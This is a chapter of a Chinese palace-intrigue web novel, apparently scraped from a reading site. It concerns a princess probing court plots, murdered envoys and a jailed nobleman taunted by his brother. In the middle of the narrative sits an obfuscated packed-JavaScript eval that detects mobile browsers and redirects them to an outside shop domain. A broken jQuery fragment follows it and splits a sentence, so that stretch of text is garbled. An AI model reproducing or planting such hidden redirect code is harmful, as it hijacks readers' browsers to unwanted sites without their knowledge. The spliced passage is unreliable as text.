文趣网 > 其他小说 > 亡妻变成弟媳回来了 > 50. 陷牢狱
    琥珀略一迟疑,目光闪烁道:“和从前一样当值,哦,还会去客馆照应一二。”

    萧从音没瞧见她的心虚,闻言轻撇嘴角,“客馆归属鸿胪寺,再不济有礼部照应,他倒是上心。”

    琥珀了解自家郡主,听出语气里细微的酸意,抿唇压下偷笑,道:“大公子奉旨接待岭南诸公子,前段时日又出了人命官司,多上心些免得再生事端嘛。”

    萧从音自己未留意心中莫名的酸意,只觉填饱肚子坐着不爽利,伸着懒腰往外走。

    在廊上悠悠踱步,第三趟走回门口,在琥珀跟前停下脚步,佯装随意问:“他......往客馆去的殷勤吗?”

    琥珀嗫喏道:“奴婢不大清楚......”

    萧从音拨着腕间玉镯,没再说什么,在廊下落座,召了暗卫来。

    “让你核查柏钊与安南的交易,查清了吗?”

    暗卫回道:“的确无实据证明柏大公子与安南有暗中交易,先前透出消息的差役也不知所踪了。”

    萧从音蹙眉陷入沉思。

    是之前那个差役撒谎,还是有人从中作梗,把线掐了?

    暗卫交叠的手掌紧了紧,又道:“属下还打听到一件事。”

    “说。”

    “陛下曾下过一道密旨到安南。”

    萧从音眸光颤动,“什么时候?”

    “是与召五个都护府派子女入京的圣旨一同送去岭南的,故而没被注意,此番细致查探才知晓。”

    皇帝单给了安南旨意,极有可能直接暗许了安南某些举动。

    若真如此,柏钊并未牵扯其中亦未可知。

    老天保佑,最好如此!

    她在心中暗暗祈祷,随后对琉璃道:“你去一趟东宫,替我问太子妃一桩事......”

    琉璃应声退下。

    萧从音又问及鸿胪客馆的消息。

    暗卫回:“广邕两个都护府的公子一见面就唇枪舌战吵个不休,其他并无异常。”

    萧从音忖着,五人入京,接连折了两个,争吵是难免的,没闹出人命算不得事。

    并未多想,只嘱咐继续盯紧客馆动静。

    *

    琉璃从东宫归来,先往前殿荣王跟前复命。

    荣王忖度利弊后吩咐:“太子妃的话可如实禀告给郡主,其他的一概不许提。”

    琉璃回到嘉乐堂,照荣王的意思回道:“太子妃娘娘说,康姑娘想同东宫谈一笔交易。”

    “交易?”

    “安南有意提前效忠新君,但要太子保证,往后岭南五府一统,康家出任节度使,并要权柄稳固,不受朝局更迭之扰。”

    此言悖逆,琉璃声音压得极低,说话时止不住地打颤。

    “她只身入京,竟敢和东宫论这些。”

    萧从音不由得佩服起康芃的胆色。

    能提出这等要求,必是手握要紧筹码。

    她得再会一会康芃。

    收了心思回屋,正换衣裳,王妃身边的侍女过来,隔着门道:“郡主,王妃醒了,要您过去呢。”

    萧从音略作犹豫,换回素日穿的秋香色襦裙,跟着侍女往前殿去。

    此时的鸿胪客馆气氛肃杀,里外皆有禁军把守。

    因那日京兆府接到报案,衙役赶到城郊才知,那横死的男子是邕州都护府的公子。

    勘察现场,又找仵作验尸,确认死因为坠马滚落山坡,头部撞击巨石,当场气绝。

    他的掌心紧攥一块染血的衣料。

    韦六郎的几名亲随前来认尸,见那衣料纹样布料,当即惊呼出声,纷纷指认此物出自尉迟府。

    尉迟府论家世和富贵皆在其他四府之上,尉迟公子喜好铺张,府上随从的衣着也比旁人家考究,极易辨认。

    先前郑褚二人之死已让尉迟公子深陷泥潭,再一再二竟还有再三,听闻消息,气得火冒三丈。

    “嫁祸!这分明是嫁祸!”

    他想不出究竟何人处心积虑非要置他于死地,嚷嚷着要往广州送信,让父亲替自己做主申冤。

    人越死越多,牵扯越发广,京兆尹不敢怠慢,再次封闭客馆严加看守,马不停蹄进宫,将案情呈报天听。

    皇帝震怒下旨,令禁军接管客馆,康芃禁足于内不得出,尉迟公子则收押大理寺。

    又命刑部介入,大理寺主审,京兆尹协同审理,限期查清此案。

    *

    大理寺狱。

    与一堵墙相隔牢房内,柏钊屈膝坐在草席上,背脊靠墙,仰面望着高处一方狭小窗口出神。

    身上宝蓝色云纹团花锦袍皱了好几处,衣摆沾着尘土与草屑。

    耳边响起脚步声,由远及近,停在他牢房外。

    “大哥。”

    听到称呼,柏钊收回目光,侧首看向铁栏外的身影。

    杂花样式的绯色官袍,胸前是醒目的云雁补子。

    四品官的装扮。

    柏钊了然一笑,道:“未贺三弟荣升之喜,想来审理我的差事落在三弟头上了。”

    “大哥果然心思通透。”谢谦挥退左右狱卒,隔着铁栏同他说话,“狱中艰苦,委屈大哥了。”

    柏钊不想与他虚与委蛇,“不劳三弟费心,有话直说罢。”

    “陛下以监管不力之罪将大哥下狱,本不算要紧,但眼下有人指证大哥勾结安南,挑拨五府关系,甚至残害人命......”谢谦说到此处顿住,摇头叹道:“这可难办呐!”

    柏钊神色淡然,“欲加之罪何患无辞。”

    谢谦:“大哥说不劳我费心,但咱们是血脉相连的兄弟,又......爱着同一个女子,我怎忍心看大哥蒙冤受屈,坐以待毙。”

    提到萧从音,柏钊平静的脸上晃过忧虑,很快压入深沉的眸底,问:“你想怎样?”

    “大哥求过人吗?”谢谦扯唇笑得意味深长,“只要大哥求我,我一定替大哥洗清污名。”

    柏钊捏紧指腹,冷声道:“清者自清,我从不求人。”

    谢谦嘴角弧度又上扬几分,“我想大哥也不会求人,可我真心想帮大哥,大哥不肯求,只好让郡主代劳了。”

    柏钊眸光骤冷,指腹掐进掌心,攥成拳,勉强稳住面上的沉静,“你见不到她。”

    “我有我的法子,”谢谦一派自信,“大哥还是抓紧想清楚,是自己求我,还是让她求我。”

    柏钊扭头看回窗子,不理会他。

    小窗透进一柱惨白微光,照着他挺直而坐的身姿。

    尘埃在光束中无声翻涌,却似落不到他身上。

    身处阴潮充满难闻气味的牢房,锦衣沾尘,偏撑着一身傲骨漠视污秽。

    谢谦被他高高在上的模样刺痛,眼底阴鸷更浓。

    任何人落入肮脏都要染一身腥臭,柏钊眼下倔强,只因跌的不够狠。

    谢谦冷笑一声,“看来大哥是不可能低头的,也罢,我正好许久不曾见我们的郡主了。”

    言罢拂袖而去。

    柏钊卸了力气靠回墙壁上。

    王爷应当能护住阿音吧......

    倘若没能挡住谢谦见阿音,他会怎么对她?

    他闭目敛神,强行压下心中翻涌的不安。

    *

    这日国公府差人到王府递话,称魏岚为柏钊之事伤心忧思,欲接添儿回去小住作伴,好解她心中郁结。

    荣王不欲在这关头节外生枝

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17944421|208614||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,吩咐人回绝。

    王妃拦住他,“添儿到底是人家孙儿,国公府出了这样的事,咱们不插手,不能不让添儿尽孝心。”

    “眼下不是心软的时候。”荣王仍有顾虑。

    王妃想了想,说:“遣人与那头说好,不许将柏钊的事情相告,只让添儿回去待一日,我让身边嬷嬷跟着去,傍晚就带回来,添儿懂事,出不了岔子。”

    荣王思量片刻,避开王妃招呼添儿到跟前,与他说了回国公府探望祖母之事。

    又嘱咐道:“好孩子,咱府上你外祖母也病着,你阿娘整日照顾很辛苦,无论你在外头听到什么,见到什么,都莫要拿回来惊扰她们心神,能做到吗?”

    添儿不明所以,但十分乖巧地点头应下。

    荣王几番交代后,才让嬷嬷和琥珀带添儿前往国公府。

    *

    晚膳后,萧从音从母亲处回来,见添儿躲在廊柱后探头探脑。

    “鬼鬼祟祟做什么?”

    “娘,”添儿攥着手上前,勾着脑袋瓜琢磨半晌,才抬起头,“我今天见到三叔了。”

    他今日去国公府,见谢谦再正常不过,但这副神情太蹊跷,萧从音心头一跳,蹲下身平视他,“是三叔同你说什么了?”

    添儿记得荣王嘱咐的话,但想到三叔急切的神态,自己又许久未见爹爹,不知他好不好,思来想去,还是选择说出来。

    “三叔说他惹爹爹动气了,让我带话问问娘,怎样能使爹爹消气。”

    “这话是你三叔说的?”萧从音满头雾水。

    谢谦惹柏钊动气倒不稀奇,特意托添儿来问如何使柏钊消气,委实太古怪。

    添儿很认真点头,随后拉起她的手,关切道:“娘有办法告诉三叔就好,不要太为他们忧心哦。”

    萧从音不知添儿所忧,一门心思琢磨他的话。

    告诉谢谦?

    谢谦是想见她么?还是在暗示她什么?

    一时想不出结果,遂问:“今日可见到你爹了?”

    添儿摇摇头,“祖母说爹爹离京办差,过些时日才会回来。”

    萧从音纳罕:“办差?”

    他如今的要务是顾好岭南来的一行人,出京办哪门子差。

    添儿恹恹道:“祖母没有细说。”

    萧从音猛然想起什么,松开添儿,三两步跨进屋内,目光径直落在桌上摆着的走马灯上。

    转头问琥珀:“这是大公子今日派人送来的?”

    琥珀快要把头埋进领口里,很小声应是。

    “抬头看着我!”萧从音厉声道,“你是不是有事瞒我?”

    琥珀瑟瑟抬头,嘴硬道:“奴婢不敢,来人的确说是柏大公子送的。”

    萧从音油然生出不详,等不及次日,当即夺门而出,疾步来到王府后门。

    原本见她来便假装打盹的侍卫,今日横刀拦住她去路。

    “王爷有严令,任何人不得出入。”

    萧从音愣了一瞬,蹙眉道:“你看清楚我是谁!”

    其中一个收她好处的年轻侍卫低眉顺目道:“郡主恕罪,属下只是奉命行事。”

    萧从音挺直身板,端起架子道:“我自会同爹爹交代,你们再阻拦我绝不轻饶!”

    “您就是要属下的命,属下也不敢放您。”

    “......”

    萧从音没同他磨嘴皮子,转身往回走。

    至无人处,一个闪身转进靠墙跟的小道,疾步来到一处,墙根倚着几棵高大槐树,她搬来石墩垫脚,攀着粗枝利落爬树上,正欲往墙头跃,指尖刚够着瓦片,忽觉脚上沉重。

    下一瞬,被人握住脚腕从半空拽落,落入一个宽厚怀抱中。